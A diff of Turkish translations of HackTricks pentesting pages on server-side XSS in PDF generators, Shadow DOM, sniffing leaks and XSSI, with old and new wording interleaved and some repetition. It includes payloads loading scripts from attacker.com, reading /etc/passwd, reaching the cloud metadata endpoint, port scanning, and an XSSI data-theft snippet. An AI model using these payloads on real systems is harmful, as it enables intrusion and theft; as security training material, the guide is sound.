- Java geliştiricileri, PDF oluşturmanın yanı sıra dijital imzalar ve form doldurma gibi gelişmiş özellikleri de destekleyen bir kütüphane olan **iText**'i tercih edebilirler. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
- **FPDF**, basitliği ve kullanım kolaylığıyla ayırt edilen başka bir PHP kütüphanesidir. Kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma konusunda basit bir yaklaşım arayan geliştiriciler için tasarlanmıştır.
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir olan açık kaynaklı bir komut satırı aracı olarak mevcuttur.
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneğine sahiptir, karmaşık belgeler oluşturma konusundaki çok yönlülüğünü sergiler.
- Node.js ortamında çalışanlar için **PDFKit** geçerli bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturulmasına olanak tanır ve web içeriği ile yazdırılabilir formatlar arasında bir köprü sağlar.
- Java geliştiricileri, PDF oluşturmayı kolaylaştıran ve dijital imzalar ile form doldurma gibi gelişmiş özellikleri destekleyen **iText** kütüphanesini tercih edebilir. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma için basit bir yaklaşım arayanlar için tasarlanmıştır.
## Payloads
## Payloadlar
### Keşif
### Discovery
```markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
@ -48,7 +48,7 @@ Ayrıca, düzenli bir saldırıda oluşturulan pdf'yi **görebilecek/indirebilec
```
### SVG
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe, Burpcollab alt alanına erişen ve diğer bir iframe, meta veri uç noktasına erişen örnekler olarak eklenmiştir.
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri ise meta veri uç noktasına erişmektedir.
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -73,7 +73,7 @@ alert(1);
</script>
</svg>
```
Aşağıda, **diğer SVG yükleri** için [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinde bulabileceğiniz birçok örnek bulunmaktadır.
Aşağıda **diğer SVG yüklerini** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinde bulabilirsiniz.
### Yol ifşası
```markup
@ -82,19 +82,19 @@ if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### Harici bir script yükle
### Load an external script
Bu zafiyeti en iyi şekilde sömürmek için, botun yerel olarak kontrol ettiğiniz bir script yüklemesini sağlamak için zafiyeti istismar etmek en uygun yoldur. Ardından, payload'u yerel olarak değiştirebilir ve her seferinde aynı kodla botun bunu yüklemesini sağlayabilirsiniz.
Bu ığı istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir script yüklemesini sağlamak için açığı kötüye kullanmaktır. Ardından, yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### Yerel dosya okuma / SSRF
### Yerel dosyayı oku / SSRF
{% hint style="warning" %}
Örneğin `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` gibi **harici bir web sayfasına erişmeyi denemek için (SSRF)** değiştirin.
`file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` değiştirin, örneğin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**.
Eğer SSRF izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [potansiyel bypasslar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adı veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
{% endhint %}
```markup
<script>
@ -130,14 +130,6 @@ xhzeem.send();
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Bot gecikmesi
Bir web uygulamasını hedef alırken, bazen hedefin botları tespit etmek ve engellemek için bir gecikme mekanizması kullanabileceğini fark edebilirsiniz. Bu gecikme mekanizması, botların hızlı bir şekilde istek göndermesini engelleyerek, otomatik saldırıları zorlaştırır.
Bu durumda, botların tespit edilmesini önlemek için bazı teknikler kullanabilirsiniz. Örneğin, botların tespit etmesini zorlaştırmak için rastgele gecikmeler ekleyebilirsiniz. Bu, botların belirli bir kalıba göre istek göndermesini engelleyerek, tespit edilmelerini zorlaştırır.
Bununla birlikte, bot gecikmesini aşmak için bazı yöntemler de vardır. Örneğin, birden fazla IP adresi kullanarak botları dağıtabilir veya botların tespit edilmesini önlemek için kullanıcı ajanlarını değiştirebilirsiniz.
Sonuç olarak, bot gecikmesi, web uygulamalarını hedef alan saldırıları zorlaştıran bir güvenlik önlemidir. Ancak, bu önlemi aşmak için çeşitli teknikler kullanılabilir.
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
@ -150,9 +142,7 @@ time += 500;
</script>
<img src="https://attacker.com/delay">
```
### Port Taraması
Port taraması, bir hedef sistemdeki açık portları belirlemek için kullanılan bir tekniktir. Bu teknik, bir saldırganın hedef sistemdeki ağ servislerini keşfetmesine ve potansiyel zayıflıkları tespit etmesine olanak tanır. Port taraması, saldırganın hedef sistemdeki ağ servislerine erişim sağlamak için kullanabileceği potansiyel hedefleri belirlemesine yardımcı olur. Bu bilgi, saldırganın hedef sistemdeki güvenlik açıklarını sömürmek için kullanabileceği bir başlangıç noktası sağlar. Port taraması genellikle güvenlik testleri ve ağ keşfi sırasında kullanılır.
### Port Tarama
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
@ -171,13 +161,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/)
Bu zafiyet çok kolay bir şekilde SSRF'ye dönüştürülebilir (çünkü betik harici kaynakları yükleyebilirsiniz). Bu yüzden sadece bunu istismar etmeyi deneyin (bazı meta verileri okuyun?).
Bu zafiyet, SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?).
### Ekler: PD4ML
PD4ML gibi bazı HTML 2 PDF motorları, PDF'ye ekler belirlemeye izin verir. Bu özelliği istismar ederek PDF'ye herhangi bir yerel dosya ekleyebilirsiniz.\
Ekleri açmak için dosyayı Firefox ile açtım ve Kağıt Klipsi simgesine çift tıkladım ve eklemeyi yeni bir dosya olarak kaydettim.\
PDF yanıtını burp ile yakalamak ayrıca PDF içinde ekleri açık metin olarak göstermelidir.
PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, örneğin **PD4ML**. Bu özelliği, PDF'ye **herhangi bir yerel dosyayı eklemek** için kötüye kullanabilirsiniz.\
Ekleri açmak için dosyayı **Firefox ile açtım ve Ataç simgesine çift tıkladım** ve **ekleri** yeni bir dosya olarak **kaydetmek** için.\
Burp ile **PDF yanıtını** yakalamak da **ekleri düz metin olarak** PDF içinde **göstermelidir**.
{% code overflow="wrap" %}
```html
@ -193,16 +183,17 @@ PDF yanıtını burp ile yakalamak ayrıca PDF içinde ekleri açık metin olara
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
# Shadow DOM
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
**Bu blogu kontrol edin: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** ve bu **CTF meydan okumasını kontrol edin: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bu bloga göz atın: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** ve bu **CTF meydan okumasına: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# Sniff Sızıntısı
# Sniff Leak
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Sızıntı betiği içeriğini UTF16'ya dönüştürerek sızdırma
## İçeriği UTF16'ya dönüştürerek sızdırma
[**Bu yazıda**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves), `X-Content-Type-Options: nosniff` başlığı olmadığı için bir metin/düz metin sızdırır. Bunun için, içeriğin UTF-16 olduğunu düşündürecek bazı başlangıç karakterleri eklenir, böylece betik bozulmaz.
[**Bu yazı**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) `X-Content-Type-Options: nosniff` başlığı olmadığı için text/plain sızdırır, javascript'in içeriğin UTF-16 olduğunu düşünmesini sağlayacak bazı başlangıç karakterleri ekleyerek scriptin bozulmasını engeller.
## Sızıntı betiği içeriğini bir ICO olarak işleyerek sızdırma
## İçeriği ICO olarak muamele ederek sızdırma
[**Sonraki yazıda**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves), betik içeriği, `width` parametresine erişerek bir ICO görüntüsü gibi yüklenerek sızdırılır.
[**Sonraki yazı**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) script içeriğini `width` parametresine erişerek ICO resmiymiş gibi yükleyerek sızdırır.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

File diff suppressed because one or more lines are too long

View file

@ -1,50 +1,51 @@
# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
**Cross-Site Script Inclusion (XSSI)**, HTML'deki `script` etiketinin doğasından kaynaklanan bir güvenlik açığıdır. Diğer kaynakların çoğunun aksine, **Aynı Köken Politikası (SOP)**'na tabi olmayan betikler, farklı etki alanlarından dahil edilebilir. Bu davranış, farklı sunucularda barındırılan kütüphanelerin ve diğer kaynakların kullanımını kolaylaştırmayı amaçlamaktadır, ancak aynı zamanda potansiyel bir güvenlik riski de oluşturur.
**Cross-Site Script Inclusion (XSSI)**, HTML'deki `script` etiketinin doğasından kaynaklanan bir güvenlik açığıdır. Çoğu kaynağın **Same-Origin Policy (SOP)**'ye tabi olmasının aksine, script'ler farklı alanlardan dahil edilebilir. Bu davranış, farklı sunucularda barındırılan kütüphanelerin ve diğer kaynakların kullanımını kolaylaştırmak için tasarlanmıştır, ancak aynı zamanda potansiyel bir güvenlik riski de taşır.
### **XSSI**'nin Temel Özellikleri:
- **SOP'nin Atlatılması**: Betikler, etki alanları arasında dahil edilebilmelerine izin veren **Aynı Köken Politikası**'ndan muaf tutulur.
- **Veri Sızdırma**: Bir saldırgan, `script` etiketi aracılığıyla yüklenen verileri okumak için bu davranışı istismar edebilir.
- **Dinamik JavaScript/JSONP Üzerindeki Etkisi**: **XSSI**, özellikle dinamik JavaScript veya **JSON ile Dolgulu (JSONP)** için önemlidir. Bu teknolojiler genellikle kimlik doğrulaması için "ortam yetkisi" bilgilerini (örneğin çerezler) kullanır. Farklı bir sunucuya bir betik isteği yapıldığında, bu kimlik bilgileri (örneğin çerezler) otomatik olarak isteğe dahil edilir.
- **Kimlik Doğrulama Jetonu Sızıntısı**: Bir saldırgan, bir kullanıcının tarayıcısını kendi kontrol ettikleri bir sunucudan bir betik istemeye kandırabilirse, bu isteklerdeki hassas bilgilere erişebilir.
### **XSSI**'nin Ana Özellikleri:
- **SOP'yi Aşma**: Script'ler **Same-Origin Policy**'den muaf tutulur, bu da onların farklı alanlar arasında dahil edilmesine olanak tanır.
- **Veri ığa Çıkma**: Bir saldırgan, `script` etiketi aracılığıyla yüklenen verileri okumak için bu davranışı istismar edebilir.
- **Dinamik JavaScript/JSONP Üzerindeki Etki**: **XSSI**, dinamik JavaScript veya **JSON with Padding (JSONP)** için özellikle önemlidir. Bu teknolojiler genellikle kimlik doğrulama için "ambient-authority" bilgilerini (çerezler gibi) kullanır. Farklı bir ana bilgisayara script isteği yapıldığında, bu kimlik bilgileri (örneğin, çerezler) isteğe otomatik olarak dahil edilir.
- **Kimlik Doğrulama Token'ı Sızıntısı**: Bir saldırgan, bir kullanıcının tarayıcısını kontrol ettikleri bir sunucudan script istemeye kandırabilirse, bu isteklere dahil olan hassas bilgilere erişebilir.
### Türler
1. **Statik JavaScript** - Bu, geleneksel XSSI'nin temsilcisidir.
2. **Kimlik Doğrulamalı Statik JavaScript** - Bu tür, erişim için kimlik doğrulaması gerektirir ve diğer türlerden farklıdır.
3. **Dinamik JavaScript** - İçerik dinamik olarak oluşturan JavaScript'i içerir.
4. **JavaScript Dışı** - Doğrudan JavaScript içermeyen güvenlik açıklarını ifade eder.
1. **Statik JavaScript** - Bu, XSSI'nin geleneksel formunu temsil eder.
2. **Kimlik Doğrulama ile Statik JavaScript** - Bu tür, erişim için kimlik doğrulama gerektirdiği için farklıdır.
3. **Dinamik JavaScript** - Dinamik olarak içerik üreten JavaScript'i içerir.
4. **JavaScript Olmayan** - JavaScript'i doğrudan içermeyen güvenlik açıklarını ifade eder.
**Aşağıdaki bilgiler, [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) adresindeki özetidir. Daha fazla ayrıntı için kontrol edin.
**Aşağıdaki bilgiler [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)** adresinin bir özetidir. Daha fazla ayrıntı için kontrol edin.
### Düzenli XSSI
Bu yaklaşımda, özel bilgiler küresel olarak erişilebilir bir JavaScript dosyasına gömülüdür. Saldırganlar, dosya okuma, anahtar kelime aramaları veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tespit edebilir. Bulunan özel bilgileri içeren betik, yetkisiz erişime izin vererek kötü amaçlı içeriğe dahil edilebilir. Aşağıda bir örnek istismar tekniği gösterilmektedir:
### Normal XSSI
Bu yaklaşımda, özel bilgiler genel olarak erişilebilir bir JavaScript dosyasına gömülmüştür. Saldırganlar, dosya okuma, anahtar kelime arama veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tanımlayabilir. Bulunduktan sonra, özel bilgi içeren script, kötü niyetli içerik içinde dahil edilebilir ve hassas verilere yetkisiz erişim sağlanabilir. Aşağıda bir örnek istismar tekniği gösterilmektedir:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulama-JavaScript-XSSI
Bu tür XSSI saldırıları, kullanıcının isteğine yanıt olarak betiğe dinamik olarak eklenen gizli bilgileri içerir. Algılama, çerezlerle ve çerezler olmadan istekler göndererek ve yanıtları karşılaştırarak gerçekleştirilebilir. Bilgiler farklılık gösteriyorsa, gizli bilgilerin varlığını gösterebilir. Bu işlem, [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp eklentisi gibi araçlar kullanılarak otomatikleştirilebilir.
### Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulanmış-JavaScript-XSSI
